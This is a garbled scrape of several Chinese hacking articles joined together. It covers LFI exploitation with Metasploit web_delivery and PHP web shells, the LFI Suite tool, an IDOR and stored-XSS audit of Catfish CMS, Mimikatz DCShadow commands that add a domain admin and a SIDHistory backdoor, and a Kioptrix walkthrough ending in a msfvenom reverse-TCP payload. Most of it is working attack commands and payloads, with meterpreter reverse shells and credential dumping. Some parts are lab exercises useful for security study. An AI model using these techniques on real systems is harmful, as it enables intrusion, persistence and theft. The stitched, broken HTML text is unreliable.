class=&language-text&&&span&&/span&msf exploit(web_delivery)&set target 1
msf exploit(web_delivery)&set payload windows/meterpreter/reverse_tcp
msf exploit(web_delivery)& set lhost 192.168.0.104
msf exploit(web_delivery)& set srvport 8081
msf exploit(web_delivery)& exploit
&/code&&/pre&&/div&&p&然后复制下面窗口红色字体的文本&figure&&img src=&https://pic4.zhimg.com/v2-ad7beb15b1d9166bfe4eee_b.jpg& data-rawwidth=&859& data-rawheight=&379& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic4.zhimg.com/v2-ad7beb15b1d9166bfe4eee_r.jpg&&&/figure&&/p&&p&将上面复制的PHP代码粘贴到URL中,如图所示,并执行它。&/p&&p&&figure&&img src=&https://pic4.zhimg.com/v2-341ebed914fc817b7ad34da9b98ebd72_b.jpg& data-rawwidth=&859& data-rawheight=&414& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic4.zhimg.com/v2-341ebed914fc817b7ad34da9b98ebd72_r.jpg&&&/figure&当执行上面的URL时,攻击者就会在metasploit中获得受害者的meterpreter通信记录。&/p&&br&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&msf exploit(web_delivery)& session -I 1
meterpreter& sysinfo
&/code&&/pre&&/div&&h2&&b&Proc / self / environ&/b&&/h2&&p&如果服务器已过响应时间,还可以通过LFI重新利用,包括存储在User_Agent的/proc/self/environ文件,我们将把我们的PHP代码放置其中用于执行CMD命令。&/p&&p&&a href=&https://link.zhihu.com/?target=http%3A//192.168.1.102/dvwa/vulnerabilities/fi/%3Fpage%3Dproc/self/environ& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&192.168.1.102/dvwa/vuln&/span&&span class=&invisible&&erabilities/fi/?page=proc/self/environ&/span&&span class=&ellipsis&&&/span&&/a&&/p&&p&&figure&&img src=&https://pic4.zhimg.com/v2-b089ab89775_b.jpg& data-rawwidth=&859& data-rawheight=&394& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic4.zhimg.com/v2-b089ab89775_r.jpg&&&/figure&现在启动burp suite 并捕获浏览器的请求,就能获取发送到中继器的数据。&/p&&p&&figure&&img src=&https://pic4.zhimg.com/v2-4fd31dabecd5b99f0549a4e_b.jpg& data-rawwidth=&859& data-rawheight=&534& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic4.zhimg.com/v2-4fd31dabecd5b99f0549a4e_r.jpg&&&/figure&在user_Agent内,添加cmd注释&?php system($ _ GET ['cmd']); ?&,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。在窗口的右侧,你就可以看到hig&/p&&p&添加cmd注释&?php system($ _ GET ['cmd']); ?&在user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。 在窗口的右侧,你可以看到有闪亮的字体,这代表出现了相应的响应。&figure&&img src=&https://pic2.zhimg.com/v2-920ed5e1e4c10ad87f4d24de718eccc3_b.jpg& data-rawwidth=&859& data-rawheight=&483& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic2.zhimg.com/v2-920ed5e1e4c10ad87f4d24de718eccc3_r.jpg&&&/figure&&/p&&br&&blockquote&本文参考来源于&a href=&https://link.zhihu.com/?target=http%3A//www.tuicool.com/articles/hit/eEVNNjm& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&5 ways to Exploit LFi Vulnerability&/a&,如若转载,请注明来源于嘶吼: &a href=&https://link.zhihu.com/?target=http%3A//www.4hou.com/technology/3390.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&五种利用本地包含漏洞的方式&/a&
更多内容请关注“嘶吼专业版——Pro4hou”&/blockquote&
本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句&?php include fuction.php?&就可以调用内部定义的函…
&figure&&img src=&https://pic2.zhimg.com/v2-769bc6d8bfa9d5b79262_b.jpg& data-rawwidth=&815& data-rawheight=&822& class=&origin_image zh-lightbox-thumb& width=&815& data-original=&https://pic2.zhimg.com/v2-769bc6d8bfa9d5b79262_r.jpg&&&/figure&&h2&&b&LFI Suite是什么?&/b& &/h2&&p&作者:d35m0nd142 译者:cnRay &/p&&p&&br&&/p&&p&LFI Suite 是一款全自动化工具,可以使用不同的攻击方式去扫描并利用LFI(本地文件包含,下文同)漏洞,具体细节参见&b&“特点”&/b&一节。&/p&&p&1.&b&特点&/b&&/p&&ul&&li&适用于Windows, Linux 和 OS X&/li&&li&自动配置&/li&&li&自动更新&/li&&li&提供8种不同的本地文件包含攻击模块:&/li&&ul&&li&/proc/self/environ&/li&&li&php://filter&/li&&li&php://input&/li&&li&/proc/self/fd&/li&&li&access log&/li&&li&phpinfo&/li&&li&data://&/li&&li&expect://&/li&&/ul&&li&提供第九个模式,叫&b&Auto-Hack&/b&,它通过一次又一次的尝试所有的攻击来自动扫描并利用目标漏洞。(除非在一开始你没有可提供的路径列表,你可以在此项目目录里找到一大一小的两个版本目录列表)。&/li&&li&Tor 代理支持&/li&&li&Windows,,Linux和OS X的反向shell&/li&&/ul&&p&&b&2.如何使用?&/b&&/p&&p&git clone &a href=&https://link.zhihu.com/?target=https%3A//github.com/D35m0nd142/LFISuite.git& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&github.com/D35m0nd142/L&/span&&span class=&invisible&&FISuite.git&/span&&span class=&ellipsis&&&/span&&/a&
使用非常简单,LFI Suite 具有易于使用的用户界面;运行后它就会指导你。&/p&&p&&b&反向&/b& &b&Shell&/b&&/p&&p&当你通过一个可利用的攻击获取到一个LFI shell后,你可以通过输入“reverseshell”命令轻易地获得一个反向shell。(显然,你必须让你的系统监听反向连接,比如用“nc –lvp port”)。&/p&&p&&b&依赖&/b&&/p&&ul&&li&Python &b&2.7&/b&.x&/li&&li&Python 额外模块: termcolor, requests&/li&&li&socks.py&/li&&/ul&&p&以防缺少一些模块,当你运行此脚本时,它会检查你是否安装了&b&pip&/b&,如果没有安装,它会&b&自动安装&/b&,然后使用&b&pip&/b&安装缺少的模块并下载需要的&b&socks.py&/b&文件。&/p&&p&我尝试过在不同的操作系统&b&(Debian,Ubuntu,Fedora,Windows 10,OS X)&/b&上使用此脚本,完美运行!但是如果有一些奇怪的事发生和&b&pip&/b&与其他模块的自动化安装失败的话,请手动安装缺少的模块并重新运行此脚本。&/p&&p&? &b&重要:为了能让此脚本自动化安装缺少的模块(还有pip),你必须在第一次的时候以root身份运行此脚本(或者至少拥有足够的权限)。&/b&&/p&&p&&b&3.合作&/b&&/p&&p&LFI Suite 已经包含了许多功能,但是你可能也知道,还有大量其他潜在的攻击仍然可以实现。如果你是一个Python程序员/渗透测试员,并且希望加入该项目以改进和扩展它,请通过&&b&&/b&&或者直接在这里与我联系。 &/p&&p&&b&4.免责声明&/b&&/p&&p&我对你造成的任何非法行为概不负责。这是为了渗透测试员用于道德目的而设计的。如果你打算复制,重新分发,请注明原作者版权。 &/p&&p&&b&5.演示视频地址&/b&
&/p&&p&YouTube:&u&&a href=&https://link.zhihu.com/?target=https%3A//www.youtube.com/watch%3Fv%3D6sY1Skx8MBc& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://www.&/span&&span class=&visible&&youtube.com/watch?&/span&&span class=&invisible&&v=6sY1Skx8MBc&/span&&span class=&ellipsis&&&/span&&/a& &/u&(自备梯子) 百度网盘:&u&&a href=&https://link.zhihu.com/?target=http%3A//pan.baidu.com/s/1hrXvYJU& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&pan.baidu.com/s/1hrXvYJ&/span&&span class=&invisible&&U&/span&&span class=&ellipsis&&&/span&&/a&&/u& 密码:6l5a&/p&&p&关注我: &u&&b&&a href=&https://link.zhihu.com/?target=https%3A//twitter.com/d35m0nd142& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&twitter.com/d35m0nd142&/span&&span class=&invisible&&&/span&&/a&&/b&&/u&&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&aHR0cDovL3dlaXhpbi5xcS5jb20vci80emdxTWxERVlnMGRyUlJSOTIzeA== (二维码自动识别)&/p&&p&
微信扫一扫
关注公众号&/p&
LFI Suite是什么? 作者:d35m0nd142 译者:cnRay LFI Suite 是一款全自动化工具,可以使用不同的攻击方式去扫描并利用LFI(本地文件包含,下文同)漏洞,具体细节参见“特点”一节。1.特点适用于Windows, Linux 和 OS X自动配置自动更新提供8种不同的本地文…
&figure&&img src=&https://pic1.zhimg.com/v2-cd50ecb45fa8fc164b8d05_b.jpg& data-rawwidth=&700& data-rawheight=&363& class=&origin_image zh-lightbox-thumb& width=&700& data-original=&https://pic1.zhimg.com/v2-cd50ecb45fa8fc164b8d05_r.jpg&&&/figure&&p&&b&本文作者:226safe Team - Poacher&/b&&/p&&p&本文仅供学习思路,请勿用于非法用途。&/p&&p&&b&0x00 前言:&/b&&/p&&p&首先本地搭建环境,我所使用的是Windows PHPstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换PHP版本。&/p&&p&&b&0x01 CMS简介:&/b&&/p&&p&开源免费的PHP内容管理系统,不需要高深专业技术轻松搭建网站,使用简单 灵活方便 稳定快捷,风格切换 想换就换 适应不同需求。&/p&&p&&b&0x00 正文:&/b&&/p&&p&漏洞所在处:/application/admin/controller/Index.php&/p&&p&漏洞所在行:即为以下代码的内容。&/p&&p&两个越权以及XSS都在同一个方法内。所以直接贴上整个方法的代码(下文说的行数为本文章所贴代码的行数,并非实际cms漏洞文件的行数)&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&&?php
public function rewrite()
$this-&checkUser();
$this-&checkPermissions(6);
if(Request::instance()-&has('postId','post'))
//验证输入内容
'biaoti' =& 'require',
'neirong' =& 'require'
'biaoti.require' =& Lang::get('The title must be filled in'),
'neirong.require' =& Lang::get('Article content must be filled out')
'biaoti' =& Request::instance()-&post('biaoti'),
'neirong' =& Request::instance()-&post('neirong')
$validate = new Validate($rule, $msg);
if(!$validate-&check($data))
$this-&error($validate-&getError());//验证错误输出
$neirong = str_replace('&img','&img class=&img-responsive&',Request::instance()-&post('neirong'));
$guanjianci = str_replace(',',',',Request::instance()-&post('guanjianci'));
$data = ['post_keywords' =& htmlspecialchars($guanjianci), 'post_source' =& htmlspecialchars(Request::instance()-&post('laiyuan')), 'post_content' =& $neirong, 'post_title' =& htmlspecialchars(Request::instance()-&post('biaoti')), 'post_excerpt' =& htmlspecialchars(Request::instance()-&post('zhaiyao')), 'comment_status' =& Request::instance()-&post('pinglun'), 'post_modified' =& date(&Y-m-d H:i:s&), 'post_type' =& Request::instance()-&post('xingshi'), 'thumbnail' =& Request::instance()-&post('suolvetu'), 'istop' =& Request::instance()-&post('zhiding'), 'recommended' =& Request::instance()-&post('tuijian')];
Db::name('posts')
-&where('id', Request::instance()-&post('postId'))
-&update($data);
Db::name('term_relationships')-&where('object_id',Request::instance()-&post('postId'))-&delete();
// var_dump(Db::name('term_relationships')-&getLastsql());
if(isset($_POST['fenlei']) && is_array($_POST['fenlei']))
$data = [];
foreach($_POST['fenlei'] as $key =& $val)
$data[] = ['object_id' =& Request::instance()-&post('postId'), 'term_id' =& $val];
Db::name('term_relationships')-&insertAll($data);
Hook::add('rewrite_post',$this-&plugins);
$params = [
'id' =& Request::instance()-&post('postId')
Hook::listen('rewrite_post',$params,$this-&ccc);
Hook::add('rewrite_post_later',$this-&plugins);
Hook::listen('rewrite_post_later',$params,$this-&ccc);
$classify = Db::name('term_relationships')-&field('term_id')-&where('object_id',Request::instance()-&get('art'))-&select();
$fenlei =$this-&getfenlei();
foreach($fenlei as $key =& $val){
$fenlei[$key]['classify'] = 0;
foreach($classify as $cval){
if($val['id'] == $cval['term_id']){
$fenlei[$key]['classify'] = 1;
$wzid = 0;
if(Request::instance()-&has('postId','post'))
$wzid = Request::instance()-&post('postId');
elseif(Request::instance()-&has('art','get'))
$wzid = Request::instance()-&get('art');
$data = Db::name('posts')-&where('id',$wzid)-&select();
$data[0]['post_content'] = str_replace('&img class=&img-responsive&','&img',$data[0]['post_content']);
$this-&assign('data', $data[0]);
$this-&writeAlias($wzid);
$this-&switchEditor();
$this-&assign('backstageMenu', 'neirong');
$this-&assign('option', 'articles');
$this-&assign('fenlei', $fenlei);
return $this-&view();
&/code&&/pre&&/div&&p&我大概讲一下这两个越权所在的地方。&/p&&p&第一处:在点击编辑文章的时候将文章内容查询出来并且遍历在页面中。&/p&&p&第二处:点击提交保存时候将修改的文章内容保存。&/p&&p&首先我们先来看第一处。我们先看代码的第六行(很明显的可以看出来是使用THINKPHP5开发的)。&/p&&p&这里是先判断是否存在postId请求参数并且请求类型为POST。就是说如果是以POST方式将postId传了过来的话就进入真区间。&/p&&p&看上述代码得知7-52行是进行的编辑修改操作。由于我们这里先说第一处。第一处的请求是为GET。所以我们需要继续往下走。从第53行开始处理的是正常get请求的一些操作。&/p&&p&从69行开始看。如果是get方式并且art值存在的话。那么$wzid则被赋值为get传过来的art值。接下来走到73行。我们可以清楚的看到。该行代码的where条件仅是id等于$wzid值即可查询。并没有进行所属用户的权限判断。上面得知我们$wzid的值是可控的。所以我们只要修改art值即可获取其他用户的文章内容。&/p&&p&以下面为例,test002有一篇文章id为6。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-b4add03ed959f_b.jpg& data-rawwidth=&971& data-rawheight=&548& class=&origin_image zh-lightbox-thumb& width=&971& data-original=&https://pic4.zhimg.com/v2-b4add03ed959f_r.jpg&&&/figure&&p&&br&&/p&&p&直接将art=4改成art=6&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-ccf57fb673aec05cda47678bbed992c8_b.jpg& data-rawwidth=&1194& data-rawheight=&381& class=&origin_image zh-lightbox-thumb& width=&1194& data-original=&https://pic4.zhimg.com/v2-ccf57fb673aec05cda47678bbed992c8_r.jpg&&&/figure&&p&&br&&/p&&p&来查看一下所执行的SQL语句。&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/v2-bbbbd07c56fa5a333a308d_b.jpg& data-rawwidth=&1150& data-rawheight=&276& class=&origin_image zh-lightbox-thumb& width=&1150& data-original=&https://pic1.zhimg.com/v2-bbbbd07c56fa5a333a308d_r.jpg&&&/figure&&p&这样就可以非常明显的看出来了。并没有判断该文章所属用户。&/p&&p&接下来,我们看第二处。第二处跟第一处原理差不多。所以我也就不多讲了。直接定位到30行代码。&/p&&blockquote&Db::name('posts')-&where('id', Request::instance()-&post('postId'))-&update($data);&/blockquote&&p&继续瞄准where条件。条件直接就是id等于传过来的postId值。在我们修改的时候。直接抓包。将POST包里面的postId修改成任意一篇文章的id。即可越权修改。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-e1ba3eacaedc0_b.jpg& data-rawwidth=&1410& data-rawheight=&460& class=&origin_image zh-lightbox-thumb& width=&1410& data-original=&https://pic4.zhimg.com/v2-e1ba3eacaedc0_r.jpg&&&/figure&&p&&br&&/p&&p&直接改成我们刚才的那篇文章id为6&/p&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/v2-f1a18b13d22ae7bb6df226_b.jpg& data-rawwidth=&2484& data-rawheight=&662& class=&origin_image zh-lightbox-thumb& width=&2484& data-original=&https://pic2.zhimg.com/v2-f1a18b13d22ae7bb6df226_r.jpg&&&/figure&&p&&br&&/p&&p&修改成功。&/p&&p&&b&存储型XSS:&/b&&/p&&p&我们看到29行。即为以下代码:&/p&&blockquote&$data = ['post_keywords' =& htmlspecialchars($guanjianci), 'post_source' =& htmlspecialchars(Request::instance()-&post('laiyuan')), 'post_content' =& $neirong, 'post_title' =& htmlspecialchars(Request::instance()-&post('biaoti')), 'post_excerpt' =& htmlspecialchars(Request::instance()-&post('zhaiyao')), 'comment_status' =& Request::instance()-&post('pinglun'), 'post_modified' =& date(&Y-m-d H:i:s&), 'post_type' =& Request::instance()-&post('xingshi'), 'thumbnail' =& Request::instance()-&post('suolvetu'), 'istop' =& Request::instance()-&post('zhiding'), 'recommended' =& Request::instance()-&post('tuijian')];&/blockquote&&p&我们可以看到在这里的。能够给用户看到的参数 该过滤的已经过滤了。正常情况下呢。是不会存在xss了。但是呢。开发者可能忽略了一个地方。就是:'thumbnail' =& Request::instance()-&post('suolvetu')。这里呢。是获取的图片缩略图内容。如果上传了图片则有值。否则就为空。但是呢。由于前面并没有对该值做限制。所以呢这里我们是可以任意的构造POST参数的。首先我们先定位到POST这个方法来看看。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&&?php
* 设置获取获取POST参数
* @access public
* @param string
$name 变量名
* @param mixed
$default 默认值
* @param string|array
$filter 过滤方法
* @return mixed
public function post($name = '', $default = null, $filter = null)
if (empty($this-&post)) {
$this-&post = $_POST;
if (is_array($name)) {
$this-&param
return $this-&post = array_merge($this-&post, $name);
return $this-&input($this-&post, $name, $default, $filter);
&/code&&/pre&&/div&&p&对应这个方法。如果单单传一个参数进来。那么将不会进行过滤的。我们可以看到。$filter默认是等于null的,如果$filter不传的话则为null,所以我们这里可以直接插入xss代码。只要在POST参数插入:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&&suolvetu=&/&&script&alert('xss')&/script&
&/code&&/pre&&/div&&p&即可。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-f7aa34b42f439f4deb23250_b.jpg& data-rawwidth=&1796& data-rawheight=&512& class=&origin_image zh-lightbox-thumb& width=&1796& data-original=&https://pic4.zhimg.com/v2-f7aa34b42f439f4deb23250_r.jpg&&&/figure&&p&&br&&/p&&p&我们使用管理员进入后台。看看是否触发。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-46dfcc450b3fe8d4e334f44c01f516e2_b.jpg& data-rawwidth=&1373& data-rawheight=&418& class=&origin_image zh-lightbox-thumb& width=&1373& data-original=&https://pic4.zhimg.com/v2-46dfcc450b3fe8d4e334f44c01f516e2_r.jpg&&&/figure&&p&&br&&/p&&p&成功触发鸟。&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-7423d2eded43f90d15ad39_b.jpg& data-rawwidth=&820& data-rawheight=&450& class=&origin_image zh-lightbox-thumb& width=&820& data-original=&https://pic3.zhimg.com/v2-7423d2eded43f90d15ad39_r.jpg&&&/figure&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-7a0a34b1ad45dc06ce75135fc8fdfc96_b.jpg& data-rawwidth=&714& data-rawheight=&333& class=&origin_image zh-lightbox-thumb& width=&714& data-original=&https://pic3.zhimg.com/v2-7a0a34b1ad45dc06ce75135fc8fdfc96_r.jpg&&&/figure&&p&&br&&/p&&p&前台也是弹弹弹的!&/p&&p&在同个文件下。还有一个write方法。其实就是添加文章的方法。也同样存在未过滤的问题。&/p&&p&&b&PS:本着交流分享。如果有好的方法或者思路以及上文讲述不正确的地方欢迎指出。谢谢!如果有什么语句不通的话望指出。可能是我在写文章的时候没太注意组织语言。&/b&&/p&&p&&b&原文地址博客:&/b&&a href=&https://link.zhihu.com/?target=http%3A//www.htmlsec.com/%3Fp%3D271& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&代码审计之Catfish CMS v4.5.7后台作者权限越权两枚+存储型XSS一枚#&/a&&/p&
本文作者:226safe Team - Poacher本文仅供学习思路,请勿用于非法用途。0x00 前言:首先本地搭建环境,我所使用的是Windows PHPstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换PHP版本。0x01 CMS简介:开源免费的PHP内容管理系统,不需…
&figure&&img src=&https://pic2.zhimg.com/v2-fd301f1d75ebb2bff0241007bfb26ef1_b.jpg& data-rawwidth=&800& data-rawheight=&533& class=&origin_image zh-lightbox-thumb& width=&800& data-original=&https://pic2.zhimg.com/v2-fd301f1d75ebb2bff0241007bfb26ef1_r.jpg&&&/figure&&h2&一、原理&/h2&&p&我们知道可以利用Mimikatz远程从DC中复制数据,即D 类似的dcshadow可以伪装成DC,让正常DC通过伪造的DC中复制数据。&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-86ceaf4dadffe2266d98a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&402& data-rawheight=&314& class=&content_image& width=&402&&&/figure&&p&&br&步骤&br&1、通过dcshadow更改配置架构和注册SPN值,将我们的服务器注册为Active Directory中的DC&br&2、在我们伪造的DC上更改数据,并利用域复制将数据同步到正常DC上。&br&相关API:DSBind、DSR*等&br&&a href=&https://link.zhihu.com/?target=https%3A//msdn.microsoft.com/en-us/library/msv%3Dvs.85%29.aspx& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&msdn.microsoft.com/en-u&/span&&span class=&invisible&&s/library/ms675931(v=vs.85).aspx&/span&&span class=&ellipsis&&&/span&&/a&&/p&&p&从原理中我们可以认识到两点:&br&1、需要具备域管权限或域控本地管理权限,注册spn值,写权限等&br&2、除了dc之间的连接通信,默认情况下不会记录事件日志&/p&&h2&二、利用条件&/h2&&p&测试环境:dc机器、伪装机器:win7 x64&br&准备条件:(两个窗口)&br&1、win7 system权限 (1号窗口),可以利用psexec -s cmd调system会话,也可以用mimikatz运行驱动模式,确保所有线程都运行在system上&br&&/p&&figure&&img src=&https://pic2.zhimg.com/v2-aa617ba0d53f69d578df0_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&780& data-rawheight=&249& class=&origin_image zh-lightbox-thumb& width=&780& data-original=&https://pic2.zhimg.com/v2-aa617ba0d53f69d578df0_r.jpg&&&/figure&&p&&br&&/p&&p&2、win7 域管权限 (2号窗口)&br&在win7 中利用psexec 调用cmd即可:&br&&/p&&figure&&img src=&https://pic2.zhimg.com/v2-aab2dd729f987e93618daf99ba5c5c8c_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&562& data-rawheight=&508& class=&origin_image zh-lightbox-thumb& width=&562& data-original=&https://pic2.zhimg.com/v2-aab2dd729f987e93618daf99ba5c5c8c_r.jpg&&&/figure&&p&&br&&/p&&h2&三、利用方式&/h2&&p&1、更改属性描述值&br&1号窗口执行数据更改与监听(后同):&br&&code&lsadump::dcshadow /object:CN=dc,CN=Users,DC=seven,DC=com /attribute:description /value:”anquanke-test2018!!”&/code&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/v2-750aeaed18639fbffcd3bde_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&959& data-rawheight=&455& class=&origin_image zh-lightbox-thumb& width=&959& data-original=&https://pic2.zhimg.com/v2-750aeaed18639fbffcd3bde_r.jpg&&&/figure&&p&&br&2号窗口执行域复制(后同):&br&&code&lsadump::dcshadow /push&/code&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-a8babd8e57d81f7c2cda2_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&678& data-rawheight=&644& class=&origin_image zh-lightbox-thumb& width=&678& data-original=&https://pic3.zhimg.com/v2-a8babd8e57d81f7c2cda2_r.jpg&&&/figure&&p&&br&在dc2008上查看结果:&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-62d10a8cd702ac3eb0bf368cb069c1cd_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&406& data-rawheight=&263& class=&content_image& width=&406&&&/figure&&p&&br&&/p&&p&2、添加域管&br&&code&lsadump::dcshadow /object:CN=dc,CN=Users,DC=seven,DC=com /attribute:primarygroupid/value:512&/code&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/v2-1eacc5fb7f08b6b067a0_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&836& data-rawheight=&584& class=&origin_image zh-lightbox-thumb& width=&836& data-original=&https://pic1.zhimg.com/v2-1eacc5fb7f08b6b067a0_r.jpg&&&/figure&&p&&br&执行域复制后成功添加域管:&br&&/p&&figure&&img src=&https://pic2.zhimg.com/v2-672dfc5b04c6e6da24b64d5_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&376& data-rawheight=&147& class=&content_image& width=&376&&&/figure&&p&&br&&/p&&p&3、添加sidhistory 后门&br&查看域管administrator sid:&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-9f3f5c263fcc9f0dec2c633fa80ad2dc_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&646& data-rawheight=&141& class=&origin_image zh-lightbox-thumb& width=&646& data-original=&https://pic3.zhimg.com/v2-9f3f5c263fcc9f0dec2c633fa80ad2dc_r.jpg&&&/figure&&p&&br&&code&lsadump::dcshadow /object:CN=dc,CN=Users,DC=seven,DC=com /attribute:sidhistory /value:S-1-5-21----500&/code&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/v2-2feb3a09acc0eeaecaee11c56ebb568e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1138& data-rawheight=&304& class=&origin_image zh-lightbox-thumb& width=&1138& data-original=&https://pic2.zhimg.com/v2-2feb3a09acc0eeaecaee11c56ebb568e_r.jpg&&&/figure&&p&&br&使用dc用户建立net use 链接后可成功访问域控:&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-bda70a6aac510ecba68801f_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&442& data-rawheight=&224& class=&origin_image zh-lightbox-thumb& width=&442& data-original=&https://pic4.zhimg.com/v2-bda70a6aac510ecba68801f_r.jpg&&&/figure&&p&&br&&/p&&h2&四、总结&/h2&&p&Dcshadow 的利用我们可以做很多事情,包括ldap用户的修改,添加后门(sidhistory后门, AdminSDHolder后门,acl后门等等),在碰到域防护较为严格的时候,往往能起到很好的bypass的效果。&/p&&p&作者:&a href=&https://link.zhihu.com/?target=https%3A//www.anquanke.com/member/118463& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&t0stmail&/a&&/p&
一、原理我们知道可以利用Mimikatz远程从DC中复制数据,即D 类似的dcshadow可以伪装成DC,让正常DC通过伪造的DC中复制数据。 步骤 1、通过dcshadow更改配置架构和注册SPN值,将我们的服务器注册为Active Directory中的DC 2、在我们伪造的DC上更改数据…
&p&&b&作者:whale&/b&&/p&&p&利用sqlmap获取数据库用户密码的hash值。&/p&&h2&&b&获取信息&/b&&/h2&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&用户名:dreg
hash值:0d3eccfb887aabd50f243b3f155c0f85
解密后:Mast3r
用户名:loneferret
hash值:5badcaf789d3d1df40f0e
解密后:starwars
&/code&&/pre&&/div&&p&&code&sqlmap -u &kioptrix3.com/gallery/gallery.php?id=1& --users --passwords&/code&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-c40a1164baf482ec97ed169f5c01d29f_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&752& data-rawheight=&183& class=&origin_image zh-lightbox-thumb& width=&752& data-original=&https://pic4.zhimg.com/v2-c40a1164baf482ec97ed169f5c01d29f_r.jpg&&&/figure&&p&然后丢到&a href=&http://link.zhihu.com/?target=https%3A//hashkiller.co.uk/sha1-decrypter.aspx& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&在线hash破解&/a&。&/p&&figure&&img src=&https://pic2.zhimg.com/v2-0a41feee535_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&821& data-rawheight=&429& class=&origin_image zh-lightbox-thumb& width=&821& data-original=&https://pic2.zhimg.com/v2-0a41feee535_r.jpg&&&/figure&&h2&&b&获取信息2:&/b&&/h2&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&用户名:root
解密后密码:fuckeyou
用户名:debian-sys-maint
没有找到hash值对应的密码
&/code&&/pre&&/div&&p&ssh登陆:因为在上一篇信息搜集中,已知道开放了22端口,于是可以尝试登陆。管理员有可能使用重复的用户名和密码(图方便)。更方便的是弱密码。。2333&/p&&figure&&img src=&https://pic2.zhimg.com/v2-a45c499fe7ef903a9d4fea85_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&693& data-rawheight=&291& class=&origin_image zh-lightbox-thumb& width=&693& data-original=&https://pic2.zhimg.com/v2-a45c499fe7ef903a9d4fea85_r.jpg&&&/figure&&p&尝试用root / fuckeyou 切换管理员账号,无效。&/p&&h2&&b&获取信息3:&/b&&/h2&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&file /bin/ls
#获得32位系统。
cat /etc/issue
#获取到 Ubuntu 8.04
&/code&&/pre&&/div&&p&有意思的是还获得了kioptrix小组的免责声明,说不要将此机器放在互联网上,因使用该机器造成的信息丢失等等概不负责。。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&uname -a
#获取到,linux 2.6.24-24-server 内核版本
&/code&&/pre&&/div&&p&&b&msfvenom&/b&生成攻击载荷,这么说还是有点拗口,不如说生成木马。生成的程序之后要在对方机子上运行,然后我们就可以连接了。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&msfvenom -l | grep linux | grep x86
&/code&&/pre&&/div&&p&&b&-l (list) &/b&是攻击程序的列表,搜索32位linux的。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&msfvenom -p linux/x86/meterpreter_reverse_tcp --payload-options
&/code&&/pre&&/div&&p&-p选择payload,攻击载荷;--payload-options查看payload所需参数.&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.1.112 LPORT=999 X & /var/www/html/back.door
